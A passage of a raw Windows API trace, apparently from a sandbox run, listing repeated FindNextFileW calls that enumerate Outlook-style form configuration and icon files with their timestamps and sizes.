ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0283.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0283.162] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0283.163] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0283.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4881c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0283.165] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, 